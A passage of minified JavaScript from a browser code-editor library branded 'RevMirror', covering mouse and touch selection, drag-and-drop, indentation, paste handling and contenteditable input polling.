t=this,r=t.display;if(!(ot(t,e)||r.activeTouch&&r.input.supportsTouch()))if(r.input.ensurePolled(),r.shift=e.shiftKey,wr(r,e))b||(r.scroller.draggable=!1,setTimeout(function(){return r.scroller.draggable=!0},100));else if(!dl(t,e)){var n,i,o,l=ln(t,e),s=pt(e),a=l?(n=l,i=s,o=+new Date,al&&al.compare(o,n,i)?(sl=al=null,"triple"):sl&&sl.compare(o,n,i)?(al=new ul(o,n,i),sl=null,"double"):(sl=new ul(o,n,i),al=null,"single")):"single";window.focus(),1==s&&t.state.selectingText&&t.state.selectingText(e),l&&function(r,e,n,t,i){var o="Click";"double"==t?o="Double"+o:"triple"==t&&(o="Triple"+o);return el(r,Uo(o=(1==e?"Left":2==e?"Middle":"Right")+o,i),i,function(e){if("string"==typeof e&&(e=$o[e]),!e)return!1;var t=!1;try{r.isReadOnly()&&(r.state.suppressEdits=!0),t=e(r,n)!=U}finally{r.state.suppressEdits=!1}return t})}(t,s,l,a,e)||(1==s?l?function(e,t,r,n){x?setTimeout(E(pn,e),0):e.curOp.focus=W();var i,o=function(e,t,r){var n=e.getOption("configureMouse"),i=n?n(e,t,r):{};if(null==i.unit){var o=d?r.shiftKey&&r.metaKey:r.altKey;i.unit=o?"rectangle":"single"==t?"char":"double"==t?"word":"line"}(null==i.extend||e.doc.extend)&&(i.extend=e.doc.extend||r.shiftKey);null==i.addNew&&(i.addNew=w?r.metaKey:r.ctrlKey);null==i.moveOnDrag&&(i.moveOnDrag=!(w?r.altKey:r.ctrlKey));return i}(e,r,n),l=e.doc.sel;e.options.dragDrop&&mt&&!e.isReadOnly()&&"single"==r&&-1<(i=l.contains(t))&&(me((i=l.ranges[i]).from(),t)<0||0<t.xRel)&&(0<me(i.to(),t)||t.xRel<0)?function(t,r,n,i){var o=t.display,l=!1,s=Yn(t,function(e){b&&(o.scroller.draggable=!1),t.state.draggingText=!1,nt(o.wrapper.ownerDocument,"mouseup",s),nt(o.wrapper.ownerDocument,"mousemove",a),nt(o.scroller,"dragstart",u),nt(o.scroller,"drop",s),l||(ut(e),i.addNew||Ui(t.doc,n,null,null,i.extend),b||x&&9==C?setTimeout(function(){o.wrapper.ownerDocument.body.focus(),o.input.focus()},20):o.input.focus())}),a=function(e){l=l||10<=Math.abs(r.clientX-e.clientX)+Math.abs(r.clientY-e.clientY)},u=function(){return l=!0};b&&(o.scroller.draggable=!0);(t.state.draggingText=s).copy=!i.moveOnDrag,o.scroller.dragDrop&&o.scroller.dragDrop();tt(o.wrapper.ownerDocument,"mouseup",s),tt(o.wrapper.ownerDocument,"mousemove",a),tt(o.scroller,"dragstart",u),tt(o.scroller,"drop",s),gn(t),setTimeout(function(){return o.input.focus()},20)}(e,n,t,o):function(v,e,m,y){var l=v.display,b=v.doc;ut(e);var w,x,C=b.sel,t=C.ranges;y.addNew&&!y.extend?(x=b.sel.contains(m),w=-1<x?t[x]:new mi(m,m)):(w=b.sel.primary(),x=b.sel.primIndex);if("rectangle"==y.unit)y.addNew||(w=new mi(m,m)),m=ln(v,e,!0,!0),x=-1;else{var r=hl(v,m,y.unit);w=y.extend?Gi(w,r.anchor,r.head,y.extend):r}y.addNew?-1==x?(x=t.length,Yi(b,yi(t.concat([w]),x),{scroll:!1,origin:"*mouse"})):1<t.length&&t[x].empty()&&"char"==y.unit&&!y.extend?(Yi(b,yi(t.slice(0,x).concat(t.slice(x+1)),0),{scroll:!1,origin:"*mouse"}),C=b.sel):Ki(b,x,w,K):(Yi(b,new vi([w],x=0),K),C=b.sel);var S=m;function s(e){if(0!=me(S,e))if(S=e,"rectangle"==y.unit){for(var t=[],r=v.options.tabSize,n=z(ae(b,m.line).text,m.ch,r),i=z(ae(b,e.line).text,e.ch,r),o=Math.min(n,i),l=Math.max(n,i),s=Math.min(m.line,e.line),a=Math.min(v.lastLine(),Math.max(m.line,e.line));s<=a;s++){var u=ae(b,s).text,c=X(u,o,r);o==l?t.push(new mi(ve(s,c),ve(s,c))):u.length>c&&t.push(new mi(ve(s,c),ve(s,X(u,l,r))))}t.length||t.push(new mi(m,m)),Yi(b,yi(C.ranges.slice(0,x).concat(t),x),{origin:"*mouse",scroll:!1}),v.scrollIntoView(e)}else{var h,f=w,d=hl(v,e,y.unit),p=f.anchor;0<me(d.anchor,p)?(h=d.head,p=xe(f.from(),d.anchor)):(h=d.anchor,p=we(f.to(),d.head));var g=C.ranges.slice(0);g[x]=function(e,t){var r=t.anchor,n=t.head,i=ae(e.doc,r.line);if(0==me(r,n)&&r.sticky==n.sticky)return t;var o=Je(i);if(!o)return t;var l=Ze(o,r.ch,r.sticky),s=o[l];if(s.from!=r.ch&&s.to!=r.ch)return t;var a,u=l+(s.from==r.ch==(1!=s.level)?0:1);if(0==u||u==o.length)return t;if(n.line!=r.line)a=0<(n.line-r.line)*("ltr"==e.doc.direction?1:-1);else{var c=Ze(o,n.ch,n.sticky),h=c-l||(n.ch-r.ch)*(1==s.level?-1:1);a=c==u-1||c==u?h<0:0<h}var f=o[u+(a?-1:0)],d=a==(1==f.level),p=d?f.from:f.to,g=d?"after":"before";return r.ch==p&&r.sticky==g?t:new mi(new ve(r.line,p,g),n)}(v,new mi(Se(b,p),h)),Yi(b,yi(g,x),K)}}var a=l.wrapper.getBoundingClientRect(),u=0;function n(e){v.state.selectingText=!1,u=1/0,ut(e),l.input.focus(),nt(l.wrapper.ownerDocument,"mousemove",i),nt(l.wrapper.ownerDocument,"mouseup",o),b.history.lastSelOrigin=null}var i=Yn(v,function(e){0!==e.buttons&&pt(e)?function e(t){var r=++u;var n=ln(v,t,!0,"rectangle"==y.unit);if(!n)return;if(0!=me(n,S)){v.curOp.focus=W(),s(n);var i=wn(l,b);(n.line>=i.to||n.line<i.from)&&setTimeout(Yn(v,function(){u==r&&e(t)}),150)}else{var o=t.clientY<a.top?-20:t.clientY>a.bottom?20:0;o&&setTimeout(Yn(v,function(){u==r&&(l.scroller.scrollTop+=o,e(t))}),50)}}(e):n(e)}),o=Yn(v,n);v.state.selectingText=o,tt(l.wrapper.ownerDocument,"mousemove",i),tt(l.wrapper.ownerDocument,"mouseup",o)}(e,n,t,o)}(t,l,a,e):dt(e)==r.scroller&&ut(e):2==s?(l&&Ui(t.doc,l),setTimeout(function(){return r.input.focus()},20)):3==s&&(S?pl(t,e):gn(t)))}}function hl(e,t,r){if("char"==r)return new mi(t,t);if("word"==r)return e.findWordAt(t);if("line"==r)return new mi(ve(t.line,0),Se(e.doc,ve(t.line+1,0)));var n=r(e,t);return new mi(n.from,n.to)}function fl(e,t,r,n){var i,o;if(t.touches)i=t.touches[0].clientX,o=t.touches[0].clientY;else try{i=t.clientX,o=t.clientY}catch(t){return!1}if(i>=Math.floor(e.display.gutters.getBoundingClientRect().right))return!1;n&&ut(t);var l=e.display,s=l.lineDiv.getBoundingClientRect();if(o>s.bottom||!st(e,r))return ht(t);o-=s.top-l.viewOffset;for(var a=0;a<e.options.gutters.length;++a){var u=l.gutters.childNodes[a];if(u&&u.getBoundingClientRect().right>=i)return it(e,r,e,de(e.doc,o),e.options.gutters[a],t),ht(t)}}function dl(e,t){return fl(e,t,"gutterClick",!0)}function pl(e,t){wr(e.display,t)||function(e,t){if(!st(e,"gutterContextMenu"))return!1;return fl(e,t,"gutterContextMenu",!1)}(e,t)||ot(e,t,"contextmenu")||e.display.input.onContextMenu(t)}function gl(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-"),zr(e)}ul.prototype.compare=function(e,t,r){return this.time+400>e&&0==me(t,this.pos)&&r==this.button};var vl={toString:function(){return"RevMirror.Init"}},ml={},yl={};function bl(e){ui(e),qn(e),xn(e)}function wl(e,t,r){if(!t!=!(r&&r!=vl)){var n=e.display.dragFunctions,i=t?tt:nt;i(e.display.scroller,"dragstart",n.start),i(e.display.scroller,"dragenter",n.enter),i(e.display.scroller,"dragover",n.over),i(e.display.scroller,"dragleave",n.leave),i(e.display.scroller,"drop",n.drop)}}function xl(e){e.options.lineWrapping?(H(e.display.wrapper,"RevMirror-wrap"),e.display.sizer.style.minWidth="",e.display.sizerWidth=null):(T(e.display.wrapper,"RevMirror-wrap"),$e(e)),on(e),qn(e),zr(e),setTimeout(function(){return Pn(e)},100)}function Cl(e,t){var r=this;if(!(this instanceof Cl))return new Cl(e,t);this.options=t=t?I(t):{},I(ml,t,!1),ci(t);var n=t.value;"string"==typeof n&&(n=new ko(n,t.mode,null,t.lineSeparator,t.direction)),this.doc=n;var i=new Cl.inputStyles[t.inputStyle](this),o=this.display=new se(e,n,i);for(var l in ui(o.wrapper.RevMirror=this),gl(this),t.lineWrapping&&(this.display.wrapper.className+=" RevMirror-wrap"),zn(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,selectingText:!1,draggingText:!1,highlight:new R,keySeq:null,specialChars:null},t.autofocus&&!f&&o.input.focus(),x&&C<11&&setTimeout(function(){return r.display.input.reset(!0)},20),function(i){var o=i.display;tt(o.scroller,"mousedown",Yn(i,cl)),tt(o.scroller,"dblclick",x&&C<11?Yn(i,function(e){if(!ot(i,e)){var t=ln(i,e);if(t&&!dl(i,e)&&!wr(i.display,e)){ut(e);var r=i.findWordAt(t);Ui(i.doc,r.anchor,r.head)}}}):function(e){return ot(i,e)||ut(e)});S||tt(o.scroller,"contextmenu",function(e){return pl(i,e)});var r,n={end:0};function l(){o.activeTouch&&(r=setTimeout(function(){return o.activeTouch=null},1e3),(n=o.activeTouch).end=+new Date)}function s(e,t){if(null==t.left)return!0;var r=t.left-e.left,n=t.top-e.top;return 400<r*r+n*n}tt(o.scroller,"touchstart",function(e){if(!ot(i,e)&&!function(e){if(1!=e.touches.length)return!1;var t=e.touches[0];return t.radiusX<=1&&t.radiusY<=1}(e)&&!dl(i,e)){o.input.ensurePolled(),clearTimeout(r);var t=+new Date;o.activeTouch={start:t,moved:!1,prev:t-n.end<=300?n:null},1==e.touches.length&&(o.activeTouch.left=e.touches[0].pageX,o.activeTouch.top=e.touches[0].pageY)}}),tt(o.scroller,"touchmove",function(){o.activeTouch&&(o.activeTouch.moved=!0)}),tt(o.scroller,"touchend",function(e){var t=o.activeTouch;if(t&&!wr(o,e)&&null!=t.left&&!t.moved&&new Date-t.start<300){var r,n=i.coordsChar(o.activeTouch,"page");r=!t.prev||s(t,t.prev)?new mi(n,n):!t.prev.prev||s(t,t.prev.prev)?i.findWordAt(n):new mi(ve(n.line,0),Se(i.doc,ve(n.line+1,0))),i.setSelection(r.anchor,r.head),i.focus(),ut(e)}l()}),tt(o.scroller,"touchcancel",l),tt(o.scroller,"scroll",function(){o.scroller.clientHeight&&(On(i,o.scroller.scrollTop),Dn(i,o.scroller.scrollLeft,!0),it(i,"scroll",i))}),tt(o.scroller,"mousewheel",function(e){return gi(i,e)}),tt(o.scroller,"DOMMouseScroll",function(e){return gi(i,e)}),tt(o.wrapper,"scroll",function(){return o.wrapper.scrollTop=o.wrapper.scrollLeft=0}),o.dragFunctions={enter:function(e){ot(i,e)||ft(e)},over:function(e){ot(i,e)||(!function(e,t){var r=ln(e,t);if(r){var n=document.createDocumentFragment();cn(e,r,n),e.display.dragCursor||(e.display.dragCursor=A("div",null,"RevMirror-cursors RevMirror-dragcursors"),e.display.lineSpace.insertBefore(e.display.dragCursor,e.display.cursorDiv)),N(e.display.dragCursor,n)}}(i,e),ft(e))},start:function(e){return function(e,t){if(x&&(!e.state.draggingText||+new Date-To<100))ft(t);else if(!ot(e,t)&&!wr(e.display,t)&&(t.dataTransfer.setData("Text",e.getSelection()),t.dataTransfer.effectAllowed="copyMove",t.dataTransfer.setDragImage&&!a)){var r=A("img",null,null,"position: fixed; left: 0; top: 0;");r.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",v&&(r.width=r.height=1,e.display.wrapper.appendChild(r),r._top=r.offsetTop),t.dataTransfer.setDragImage(r,0,0),v&&r.parentNode.removeChild(r)}}(i,e)},drop:Yn(i,Mo),leave:function(e){ot(i,e)||No(i)}};var e=o.input.getField();tt(e,"keyup",function(e){return ol.call(i,e)}),tt(e,"keydown",Yn(i,il)),tt(e,"keypress",Yn(i,ll)),tt(e,"focus",function(e){return vn(i,e)}),tt(e,"blur",function(e){return mn(i,e)})}(this),Do(),Bn(this),this.curOp.forceUpdate=!0,Oi(this,n),t.autofocus&&!f||this.hasFocus()?setTimeout(E(vn,this),20):mn(this),yl)yl.hasOwnProperty(l)&&yl[l](r,t[l],vl);Cn(this),t.finishInit&&t.finishInit(this);for(var s=0;s<Sl.length;++s)Sl[s](r);Gn(this),b&&t.lineWrapping&&"optimizelegibility"==getComputedStyle(o.lineDiv).textRendering&&(o.lineDiv.style.textRendering="auto")}Cl.defaults=ml,Cl.optionHandlers=yl;var Sl=[];function Ll(e,t,r,n){var i,o=e.doc;null==r&&(r="add"),"smart"==r&&(o.mode.indent?i=Rt(e,t).state:r="prev");var l=e.options.tabSize,s=ae(o,t),a=z(s.text,null,l);s.stateAfter&&(s.stateAfter=null);var u,c=s.text.match(/^\s*/)[0];if(n||/\S/.test(s.text)){if("smart"==r&&((u=o.mode.indent(i,s.text.slice(c.length),s.text))==U||150<u)){if(!n)return;r="prev"}}else u=0,r="not";"prev"==r?u=t>o.first?z(ae(o,t-1).text,null,l):0:"add"==r?u=a+e.options.indentUnit:"subtract"==r?u=a-e.options.indentUnit:"number"==typeof r&&(u=a+r),u=Math.max(0,u);var h="",f=0;if(e.options.indentWithTabs)for(var d=Math.floor(u/l);d;--d)f+=l,h+="\t";if(f<u&&(h+=_(u-f)),h!=c)return ao(o,h,ve(t,0),ve(t,c.length),"+input"),!(s.stateAfter=null);for(var p=0;p<o.sel.ranges.length;p++){var g=o.sel.ranges[p];if(g.head.line==t&&g.head.ch<c.length){var v=ve(t,c.length);Ki(o,p,new mi(v,v));break}}}Cl.defineInitHook=function(e){return Sl.push(e)};var kl=null;function Tl(e){kl=e}function Ml(e,t,r,n,i){var o=e.doc;e.display.shift=!1,n||(n=o.sel);var l,s=e.state.pasteIncoming||"paste"==i,a=xt(t),u=null;if(s&&1<n.ranges.length)if(kl&&kl.text.join("\n")==t){if(n.ranges.length%kl.text.length==0){u=[];for(var c=0;c<kl.text.length;c++)u.push(o.splitLines(kl.text[c]))}}else a.length==n.ranges.length&&e.options.pasteLinesPerSelection&&(u=q(a,function(e){return[e]}));for(var h=n.ranges.length-1;0<=h;h--){var f=n.ranges[h],d=f.from(),p=f.to();f.empty()&&(r&&0<r?d=ve(d.line,d.ch-r):e.state.overwrite&&!s?p=ve(p.line,Math.min(ae(o,p.line).text.length,p.ch+$(a).length)):kl&&kl.lineWise&&kl.text.join("\n")==t&&(d=p=ve(d.line,0))),l=e.curOp.updateInput;var g={from:d,to:p,text:u?u[h%u.length]:a,origin:i||(s?"paste":e.state.cutIncoming?"cut":"+input")};no(e.doc,g),sr(e,"inputRead",e,g)}t&&!s&&Ol(e,t),kn(e),e.curOp.updateInput=l,e.curOp.typing=!0,e.state.pasteIncoming=e.state.cutIncoming=!1}function Nl(e,t){var r=e.clipboardData&&e.clipboardData.getData("Text");if(r)return e.preventDefault(),t.isReadOnly()||t.options.disableInput||Xn(t,function(){return Ml(t,r,0,null,"paste")}),!0}function Ol(e,t){if(e.options.electricChars&&e.options.smartIndent)for(var r=e.doc.sel,n=r.ranges.length-1;0<=n;n--){var i=r.ranges[n];if(!(100<i.head.ch||n&&r.ranges[n-1].head.line==i.head.line)){var o=e.getModeAt(i.head),l=!1;if(o.electricChars){for(var s=0;s<o.electricChars.length;s++)if(-1<t.indexOf(o.electricChars.charAt(s))){l=Ll(e,i.head.line,"smart");break}}else o.electricInput&&o.electricInput.test(ae(e.doc,i.head.line).text.slice(0,i.head.ch))&&(l=Ll(e,i.head.line,"smart"));l&&sr(e,"electricInput",e,i.head.line)}}}function Al(e){for(var t=[],r=[],n=0;n<e.doc.sel.ranges.length;n++){var i=e.doc.sel.ranges[n].head.line,o={anchor:ve(i,0),head:ve(i+1,0)};r.push(o),t.push(e.getRange(o.anchor,o.head))}return{text:t,ranges:r}}function Dl(e,t){e.setAttribute("autocorrect","off"),e.setAttribute("autocapitalize","off"),e.setAttribute("spellcheck",!!t)}function Wl(){var e=A("textarea",null,null,"position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none"),t=A("div",[e],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");return b?e.style.width="1000px":e.setAttribute("wrap","off"),c&&(e.style.border="1px solid black"),Dl(e),t}function Hl(n,i,o,e,l){var t=i,r=o,s=ae(n,i.line);function a(e){var t,r;if(null==(t=l?function(t,r,s,e){var a=Je(r,t.doc.direction);if(!a)return Yo(r,s,e);s.ch>=r.text.length?(s.ch=r.text.length,s.sticky="before"):s.ch<=0&&(s.ch=0,s.sticky="after");var n=Ze(a,s.ch,s.sticky),i=a[n];if("ltr"==t.doc.direction&&i.level%2==0&&(0<e?i.to>s.ch:i.from<s.ch))return Yo(r,s,e);var o,u=function(e,t){return Xo(r,e instanceof ve?e.ch:e,t)},l=function(e){return t.options.lineWrapping?(o=o||Ar(t,r),qr(t,r,o,e)):{begin:0,end:r.text.length}},c=l("before"==s.sticky?u(s,-1):s.ch);if("rtl"==t.doc.direction||1==i.level){var h=1==i.level==e<0,f=u(s,h?1:-1);if(null!=f&&(h?f<=i.to&&f<=c.end:f>=i.from&&f>=c.begin)){var d=h?"before":"after";return new ve(s.line,f,d)}}var p=function(e,t,r){for(var n=function(e,t){return t?new ve(s.line,u(e,1),"before"):new ve(s.line,e,"after")};0<=e&&e<a.length;e+=t){var i=a[e],o=0<t==(1!=i.level),l=o?r.begin:u(r.end,-1);if(i.from<=l&&l<i.to)return n(l,o);if(l=o?i.from:u(i.to,-1),r.begin<=l&&l<r.end)return n(l,o)}},g=p(n+e,e,c);if(g)return g;var v=0<e?c.end:u(c.begin,-1);return null==v||0<e&&v==r.text.length||!(g=p(0<e?0:a.length-1,e,l(v)))?null:g}(n.cm,s,i,o):Yo(s,i,o))){if(e||(r=i.line+o)<n.first||r>=n.first+n.size||(i=new ve(r,i.ch,i.sticky),!(s=ae(n,r))))return!1;i=_o(l,n.cm,s,i.line,o)}else i=t;return!0}if("char"==e)a();else if("column"==e)a(!0);else if("word"==e||"group"==e)for(var u=null,c="group"==e,h=n.cm&&n.cm.getHelper(i,"wordChars"),f=!0;!(o<0)||a(!f);f=!1){var d=s.text.charAt(i.ch)||"\n",p=te(d,h)?"w":c&&"\n"==d?"n":!c||/\s/.test(d)?null:"p";if(!c||f||p||(p="s"),u&&u!=p){o<0&&(o=1,a(),i.sticky="after");break}if(p&&(u=p),0<o&&!a(!f))break}var g=Ji(n,i,t,r,!0);return ye(t,g)&&(g.hitSide=!0),g}function Fl(e,t,r,n){var i,o,l=e.doc,s=t.left;if("page"==n){var a=Math.min(e.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),u=Math.max(a-.5*Jr(e.display),3);i=(0<r?t.bottom:t.top)+r*u}else"line"==n&&(i=0<r?t.bottom+3:t.top-3);for(;(o=_r(e,s,i)).outside;){if(r<0?i<=0:i>=l.height){o.hitSide=!0;break}i+=5*r}return o}var Pl=function(e){this.cm=e,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new R,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};function El(e,t){var r=Or(e,t.line);if(!r||r.hidden)return null;var n=ae(e.doc,t.line),i=Mr(r,n,t.line),o=Je(n,e.doc.direction),l="left";o&&(l=Ze(o,t.ch)%2?"right":"left");var s=Fr(i.map,t.ch,l);return s.offset="right"==s.collapse?s.end:s.start,s}function Il(e,t){return t&&(e.bad=!0),e}function zl(e,t,r){var n;if(t==e.display.lineDiv){if(!(n=e.display.lineDiv.childNodes[r]))return Il(e.clipPos(ve(e.display.viewTo-1)),!0);t=null,r=0}else for(n=t;;n=n.parentNode){if(!n||n==e.display.lineDiv)return null;if(n.parentNode&&n.parentNode==e.display.lineDiv)break}for(var i=0;i<e.display.view.length;i++){var o=e.display.view[i];if(o.node==n)return Rl(o,t,r)}}function Rl(u,e,t){var r=u.text.firstChild,n=!1;if(!e||!D(r,e))return Il(ve(fe(u.line),0),!0);if(e==r&&(n=!0,e=r.childNodes[t],t=0,!e)){var i=u.rest?$(u.rest):u.line;return Il(ve(fe(i),i.text.length),n)}var o=3==e.nodeType?e:null,l=e;for(o||1!=e.childNodes.length||3!=e.firstChild.nodeType||(o=e.firstChild,t&&(t=o.nodeValue.length));l.parentNode!=r;)l=l.parentNode;var c=u.measure,h=c.maps;function s(e,t,r){for(var n=-1;n<(h?h.length:0);n++)for(var i=n<0?c.map:h[n],o=0;o<i.length;o+=3){var l=i[o+2];if(l==e||l==t){var s=fe(n<0?u.line:u.rest[n]),a=i[o]+r;return(r<0||l!=e)&&(a=i[o+(r?1:0)]),ve(s,a)}}}var a=s(o,l,t);if(a)return Il(a,n);for(var f=l.nextSibling,d=o?o.nodeValue.length-t:0;f;f=f.nextSibling){if(a=s(f,f.firstChild,0))return Il(ve(a.line,a.ch-d),n);d+=f.textContent.length}for(var p=l.previousSibling,g=t;p;p=p.previousSibling){if(a=s(p,p.firstChild,-1))return Il(ve(a.line,a.ch+g),n);g+=p.textContent.length}}Pl.prototype.init=function(e){var t=this,l=this,s=l.cm,a=l.div=e.lineDiv;function r(e){if(!ot(s,e)){if(s.somethingSelected())Tl({lineWise:!1,text:s.getSelections()}),"cut"==e.type&&s.replaceSelection("",null,"cut");else{if(!s.options.lineWiseCopyCut)return;var t=Al(s);Tl({lineWise:!0,text:t.text}),"cut"==e.type&&s.operation(function(){s.setSelections(t.ranges,0,V),s.replaceSelection("",null,"cut")})}if(e.clipboardData){e.clipboardData.clearData();var r=kl.text.join("\n");if(e.clipboardData.setData("Text",r),e.clipboardData.getData("Text")==r)return void e.preventDefault()}var n=Wl(),i=n.firstChild;s.display.lineSpace.insertBefore(n,s.display.lineSpace.firstChild),i.value=kl.text.join("\n");var o=document.activeElement;P(i),setTimeout(function(){s.display.lineSpace.removeChild(n),o.focus(),o==a&&l.showPrimarySelection()},50)}}Dl(a,s.options.spellcheck),tt(a,"paste",function(e){ot(s,e)||Nl(e,s)||C<=11&&setTimeout(Yn(s,function(){return t.updateFromDOM()}),20)}),tt(a,"compositionstart",function(e){t.composing={data:e.data,done:!1}}),tt(a,"compositionupdate",function(e){t.composing||(t.composing={data:e.data,done:!1})}),tt(a,"compositionend",function(e){t.composing&&(e.data!=t.composing.data&&t.readFromDOMSoon(),t.composing.done=!0)}),tt(a,"touchstart",function(){return l.forceCompositionEnd()}),tt(a,"input",function(){t.composing||t.readFromDOMSoon()}),tt(a,"copy",r),tt(a,"cut",r)},Pl.prototype.prepareSelection=function(){var e=un(this.cm,!1);return e.focus=this.cm.state.focused,e},Pl.prototype.showSelection=function(e,t){e&&this.cm.display.view.length&&((e.focus||t)&&this.showPrimarySelection(),this.showMultipleSelections(e))},Pl.prototype.getSelection=function(){return this.cm.display.wrapper.ownerDocument.getSelection()},Pl.prototype.showPrimarySelection=function(){var e=this.getSelection(),t=this.cm,r=t.doc.sel.primary(),n=r.from(),i=r.to();if(t.display.viewTo==t.display.viewFrom||n.line>=t.display.viewTo||i.line<t.display.viewFrom)e.removeAllRanges();else{var o=zl(t,e.anchorNode,e.anchorOffset),l=zl(t,e.focusNode,e.focusOffset);if(!o||o.bad||!l||l.bad||0!=me(xe(o,l),n)||0!=me(we(o,l),i)){var s=t.display.view,a=n.line>=t.display.viewFrom&&El(t,n)||{node:s[0].measure.map[2],offset:0},u=i.line<t.display.viewTo&&El(t,i);if(!u){var c=s[s.length-1].measure,h=c.maps?c.maps[c.maps.length-1]:c.map;u={node:h[h.length-1],offset:h[h.length-2]-h[h.length-3]}}if(a&&u){var f,d=e.rangeCount&&e.getRangeAt(0);try{f=k(a.node,a.offset,u.offset,u.node)}catch(e){}f&&(!g&&t.state.focused?(e.collapse(a.node,a.offset),f.collapsed||(e.removeAllRanges(),e.addRange(f))):(e.removeAllRanges(),e.addRange(f)),d&&null==e.anchorNode?e.addRange(d):g&&this.startGracePeriod()),this.rememberSelection()}else e.removeAllRanges()}}},Pl.prototype.startGracePeriod=function(){var e=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout(function(){e.gracePeriod=!1,e.selectionChanged()&&e.cm.operation(function(){return e.cm.curOp.selectionChanged=!0})},20)},Pl.prototype.showMultipleSelections=function(e){N(this.cm.display.cursorDiv,e.cursors),N(this.cm.display.selectionDiv,e.selection)},Pl.prototype.rememberSelection=function(){var e=this.getSelection();this.lastAnchorNode=e.anchorNode,this.lastAnchorOffset=e.anchorOffset,this.lastFocusNode=e.focusNode,this.lastFocusOffset=e.focusOffset},Pl.prototype.selectionInEditor=function(){var e=this.getSelection();if(!e.rangeCount)return!1;var t=e.getRangeAt(0).commonAncestorContainer;return D(this.div,t)},Pl.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()||this.showSelection(this.prepareSelection(),!0),this.div.focus())},Pl.prototype.blur=function(){this.div.blur()},Pl.prototype.getField=function(){return this.div},Pl.prototype.supportsTouch=function(){return!0},Pl.prototype.receivedFocus=function(){var t=this;this.selectionInEditor()?this.pollSelection():Xn(this.cm,function(){return t.cm.curOp.selectionChanged=!0}),this.polling.set(this.cm.options.pollInterval,function e(){t.cm.state.focused&&(t.pollSelection(),t.polling.set(t.cm.options.pollInterval,e))})},Pl.prototype.selectionChanged=function(){var e=this.getSelection();return e.anchorNode!=this.lastAnchorNode||e.anchorOffset!=this.lastAnchorOffset||e.focusNode!=this.lastFocusNode||e.focusOffset!=this.lastFocusOffset},Pl.prototype.pollSelection=function(){if(null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()){var e=this.getSelection(),t=this.cm;if(h&&l&&this.cm.options.gutters.length&&function(e){for(var t=e;t;t=t.parentNode)if(/RevMirror-gutter-wrapper/.test(t.className))return!0;return!1}(e.anchorNode))return this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),void this.focus();if(!this.composing){this.rememberSelection();var r=zl(t,e.anchorNode,e.anchorOffset),n=zl(t,e.focusNode,e.focusOffset);r&&n&&Xn(t,function(){Yi(t.doc,bi(r,n),V),(r.bad||n.bad)&&(t.curOp.selectionChanged=!0)})}}},Pl.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var e,t,r,n=this.cm,i=n.display,o=n.doc.sel.primary(),l=o.from(),s=o.to();if(0==l.ch&&l.line>n.firstLine()&&(l=ve(l.line-1,ae(n.doc,l.line-1).length)),s.ch==ae(n.doc,s.line).text.length&&s.line<n.lastLine()&&(s=ve(s.line+1,0)),l.line<i.viewFrom||s.line>i.viewTo-1)return!1;l.line==i.viewFrom||0==(e=sn(n,l.line))?(t=fe(i.view[0].line),r=i.view[0].node):(t=fe(i.view[e].line),r=i.view[e-1].node.nextSibling);var a,u,c=sn(n,s.line);if(c==i.view.length-1?(a=i.viewTo-1,u=i.lineDiv.lastChild):(a=fe(i.view[c+1].line)-1,u=i.view[c+1].node.previousSibling),!r)return!1;for(var h=n.doc.splitLines(function(a,e,t,u,c){var r="",h=!1,f=a.doc.lineSeparator(),d=!1;function p(){h&&(r+=f,d&&(r+=f),h=d=!1)}function g(e){e&&(p(),r+=e)}function v(e){if(1==e.nodeType){var t=e.getAttribute("cm-text");if(t)return void g(t);var r,n=e.getAttribute("cm-marker");if(n){var i=a.findMarks(ve(u,0),ve(c+1,0),(s=+n,function(e){return e.id==s}));return void(i.length&&(r=i[0].find(0))&&g(ue(a.doc,r.from,r.to).join(f)))}if("false"==e.getAttribute("contenteditable"))return;var o=/^(pre|div|p|li|table|br)$/i.test(e.nodeName);if(!/^br$/i.test(e.nodeName)&&0==e.textContent.length)return;o&&p();for(var l=0;l<e.childNodes.length;l++)v(e.childNodes[l]);/^(pre|p)$/i.test(e.nodeName)&&(d=!0),o&&(h=!0)}else 3==e.nodeType&&g(e.nodeValue.replace(/\u200b/g,"").replace(/\u00a0/g," "));var s}for(;v(e),e!=t;)e=e.nextSibling,d=!1;return r}(n,r,u,t,a)),f=ue(n.doc,ve(t,0),ve(a,ae(n.doc,a).text.length));1<h.length&&1<f.length;)if($(h)==$(f))h.pop(),f.pop(),a--;else{if(h[0]!=f[0])break;h.shift(),f.shift(),t++}for(var d=0,p=0,g=h[0],v=f[0],m=Math.min(g.length,v.length);d<m&&g.charCodeAt(d)==v.charCodeAt(d);)++d;for(var y=$(h),b=$(f),w=Math.min(y.length-(1==h.length?d:0),b.length-(1==f.length?d:0));p<w&&y.charCodeAt(y.length-p-1)==b.charCodeAt(b.length-p-1);)++p;if(1==h.length&&1==f.length&&t==l.line)for(;d&&d>l.ch&&y.charCodeAt(y.length-p-1)==b.charCodeAt(b.length-p-1);)d--,p++;h[h.length-1]=y.slice(0,y.length-p).replace(/^\u200b+/,""),h[0]=h[0].slice(d).replace(/\u200b+$/,"");var x=ve(t,d),C=ve(a,f.length?$(f).length-p:0);return 1<h.length||h[0]||me(x,C)?(ao(n.doc,h,x,C,"+input"),!0):void 0},Pl.prototype.ensurePolled=function(){this.forceCompositionEnd()},Pl.prototype.reset=function(){this.forceCompositionEnd()},Pl.prototype.forceCompositionEnd=function(){this.composing&&(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())},Pl.prototype.readFromDOMSoon=function(){var 